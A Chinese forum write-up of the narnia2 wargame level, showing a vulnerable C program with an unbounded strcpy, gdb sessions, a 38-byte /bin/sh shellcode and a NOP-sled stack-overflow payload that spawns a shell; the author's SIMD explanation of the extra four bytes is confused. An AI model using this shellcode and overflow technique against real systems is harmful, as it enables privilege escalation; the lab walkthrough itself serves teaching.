首页
社区
课程
招聘
[原创]WarGame-narnia2 解题思路
发表于: 2019-7-25 16:42 9969

[原创]WarGame-narnia2 解题思路

2019-7-25 16:42
9969

narnia2的源码如下

程序一开始就判断启动时是否输入了参数,如果是则获取程序执行时的参数,再将参数写入字符串中,但是并没有对输入的长度做判断,所以就可以写一个足够长的字符串来覆盖返回地址,执行结果如下

显然这里是成功接收到了43,因为128+4+4=136;这里并没有出现教程上的每16位对齐的问题,不过我还是要提一句,以免不同机器上的执行结果不同,而新人也不知道这么查原因(之所以没另写一篇番外篇的原因是关于这个的知识全都是理论的,比较少,另开一篇不讲究),在x86架构下的系统会使用一种叫SIMD(单指令多数据)的指令集,这种指令集可以对同一组数据的每一条分别执行相同的操作,进而实现了空间上的并行,但是正如之前说的是同一组的数据,因为执行的操作相同,所以数据的长度也必须相同,于是指令集便规定每条数据的长度必须是16(0xf)或者16的倍数,比这种指令集更优秀的是英伟达研发的SIMT(单指令多线程)指令集,这种指令集并不要求每条数据的长度相同,但这不是本文的重点;接下来,为了能获取到root,要用到一种叫nop_slide(我将它成为nop滑板)的小技巧,简单的来说就是先构造一段很长的\x90(nop指令对应的十六进制码),长到能一眼就看到这是人为构造的nop,然后在接上在narnia1番外篇里构造的shellcode,最后加上nop的指令地址(gdb调试获得),最关键的是这三段加起来不能超过之前算出的136字节,先算出shellcode的长度,如下

136-38-4=94,这里的4是要跳转的地址的4个字节,94是要构造的nop的长度,但是我们还没得到要跳转的4字节的地址,所以要用GDB调一下,如下

果然94个0x90(nop)很显眼,而后面紧跟的就是我们构造的shellcode,只要能执行就可以得到root了,但是要注意的是,如果程序开了NX保护,这种方法就没效果了,所以记得做提前先查查开了什么保护;这里选择要跳转的指令之前注意所有字符串都是以0x00结尾的,所以在nop和shellcode之间不能有0x00,不然strcpy就不能把完整的exp写到内存里去了;因为有很长的nop,所以这里选择比较多,我选的是0xffffd850,执行结果如下

/*
   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; either version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]){
    char buf[128];

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}

程序一开始就判断启动时是否输入了参数,如果是则获取程序执行时的参数,再将参数写入字符串中,但是并没有对输入的长度做判断,所以就可以写一个足够长的字符串来覆盖返回地址,执行结果如下

narnia2@narnia:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "\x43"*136')
Starting program: /narnia/narnia2 $(python -c 'print "\x43"*136')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)

narnia2@narnia:/narnia$ gdb -q ./narnia2
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "\x43"*136')
Starting program: /narnia/narnia2 $(python -c 'print "\x43"*136')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)

显然这里是成功接收到了43,因为128+4+4=136;这里并没有出现教程上的每16位对齐的问题,不过我还是要提一句,以免不同机器上的执行结果不同,而新人也不知道这么查原因(之所以没另写一篇番外篇的原因是关于这个的知识全都是理论的,比较少,另开一篇不讲究),在x86架构下的系统会使用一种叫SIMD(单指令多数据)的指令集,这种指令集可以对同一组数据的每一条分别执行相同的操作,进而实现了空间上的并行,但是正如之前说的是同一组的数据,因为执行的操作相同,所以数据的长度也必须相同,于是指令集便规定每条数据的长度必须是16(0xf)或者16的倍数,比这种指令集更优秀的是英伟达研发的SIMT(单指令多线程)指令集,这种指令集并不要求每条数据的长度相同,但这不是本文的重点;接下来,为了能获取到root,要用到一种叫nop_slide(我将它成为nop滑板)的小技巧,简单的来说就是先构造一段很长的\x90(nop指令对应的十六进制码),长到能一眼就看到这是人为构造的nop,然后在接上在narnia1番外篇里构造的shellcode,最后加上nop的指令地址(gdb调试获得),最关键的是这三段加起来不能超过之前算出的136字节,先算出shellcode的长度,如下

root@gavin:/home/gavin/shellCode_train# getshellcode shellx
\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
root@gavin:/home/gavin/shellCode_train# python 
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len("\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
38

136-38-4=94,这里的4是要跳转的地址的4个字节,94是要构造的nop的长度,但是我们还没得到要跳转的4字节的地址,所以要用GDB调一下,如下

narnia2@narnia:/narnia$ gdb -q narnia2
Reading symbols from narnia2...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "\x90"*94+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x43\x43\x43"')
The program being debugged has been started already.
Start it from the beginning? (y or n) r
Please answer y or n.
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia2 $(python -c 'print "\x90"*94+"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x43\x43\x43"')

Program received signal SIGSEGV, Segmentation fault.
0x00434343 in ?? ()
(gdb) x/150x $esp
0xffffd640:	0x00000002	0xffffd6d4	0xffffd6e0	0x00000000
0xffffd650:	0x00000000	0x00000000	0xf7fc5000	0xf7ffdc0c
0xffffd660:	0xf7ffd000	0x00000000	0x00000002	0xf7fc5000
0xffffd670:	0x00000000	0xddc32b90	0xe72b2780	0x00000000
0xffffd680:	0x00000000	0x00000000	0x00000002	0x08048350
0xffffd690:	0x00000000	0xf7fee710	0xf7e2a199	0xf7ffd000
0xffffd6a0:	0x00000002	0x08048350	0x00000000	0x08048371
0xffffd6b0:	0x0804844b	0x00000002	0xffffd6d4	0x080484a0
0xffffd6c0:	0x08048500	0xf7fe9070	0xffffd6cc	0xf7ffd920
0xffffd6d0:	0x00000002	0xffffd80a	0xffffd81a	0x00000000
0xffffd6e0:	0xffffd8a2	0xffffd8b5	0xffffde71	0xffffdea8
0xffffd6f0:	0xffffdeb7	0xffffdec8	0xffffdedd	0xffffdeea
0xffffd700:	0xffffdef6	0xffffdeff	0xffffdf12	0xffffdf36
0xffffd710:	0xffffdf49	0xffffdf55	0xffffdf6c	0xffffdf7c
0xffffd720:	0xffffdf87	0xffffdf92	0xffffdf9a	0xffffdfaa
0xffffd730:	0x00000000	0x00000020	0xf7fd7c90	0x00000021
0xffffd740:	0xf7fd7000	0x00000010	0x178bfbff	0x00000006
0xffffd750:	0x00001000	0x00000011	0x00000064	0x00000003
0xffffd760:	0x08048034	0x00000004	0x00000020	0x00000005
0xffffd770:	0x00000008	0x00000007	0xf7fd9000	0x00000008
0xffffd780:	0x00000000	0x00000009	0x08048350	0x0000000b
0xffffd790:	0x000036b2	0x0000000c	0x000036b2	0x0000000d
0xffffd7a0:	0x000036b2	0x0000000e	0x000036b2	0x00000017
0xffffd7b0:	0x00000001	0x00000019	0xffffd7eb	0x0000001a
0xffffd7c0:	0x00000000	0x0000001f	0xffffdfe8	0x0000000f
0xffffd7d0:	0xffffd7fb	0x00000000	0x00000000	0x00000000
0xffffd7e0:	0x00000000	0x00000000	0x49000000	0xd530520b
0xffffd7f0:	0x55379137	0xb0c196c4	0x692c9756	0x00363836
0xffffd800:	0x00000000	0x00000000	0x6e2f0000	0x696e7261
0xffffd810:	0x616e2f61	0x61696e72	0x90900032	0x90909090
0xffffd820:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd830:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd840:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd850:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd860:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd870:	0x90909090	0x90909090	0x315e18eb	0x074688c0
0xffffd880:	0x5e891e8d	0x084e8d08	0x8d0c4689	0x0bb00c56
0xffffd890:	0xe3e880cd	0x2fffffff
(gdb) 

root@gavin:/home/gavin/shellCode_train# getshellcode shellx
\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
root@gavin:/home/gavin/shellCode_train# python 
Python 2.7.15rc1 (default, Nov 12 2018, 14:31:15) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> len("\xeb\x18\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x8d\x4e\x08\x89\x46\x0c\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")
38

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-7-26 15:44 被pureGavin编辑 ,原因:
上传的附件:
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 14539
活跃值: (17553)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
不好意思,本文中出现了错误;文中在计算溢出地址的位置时说没有出现16字节对齐,其实出现了,正常的溢出位置应该是在128也就是那个数据之后,但实际溢出位置是在132(94+38),所以多出来的4字节就是SMID指令集自动补全的字节数了
2019-7-27 18:30
0
雪    币: 1197
活跃值: (15)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
3
大佬。为什么知道去跳转到0xffffd850去执行呀。我第一反应是转到栈帧里,就是0xffffd5e0。然后报了段错误。这里是为什么啊???
2019-8-30 00:25
0
雪    币: 14539
活跃值: (17553)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
4
看我的GDB的调试代码,栈里不是有很多90(nop)么,后面紧跟的就是我的shellcode,所以最好的结果就是跳转到90的位置,只要到90了,我们的shellcode就一定能执行,至于为什么是这个地址。。。需要手动调试 O(∩_∩)O哈哈~
2019-8-30 08:53
0
游客
登录 | 注册 方可回帖
返回
//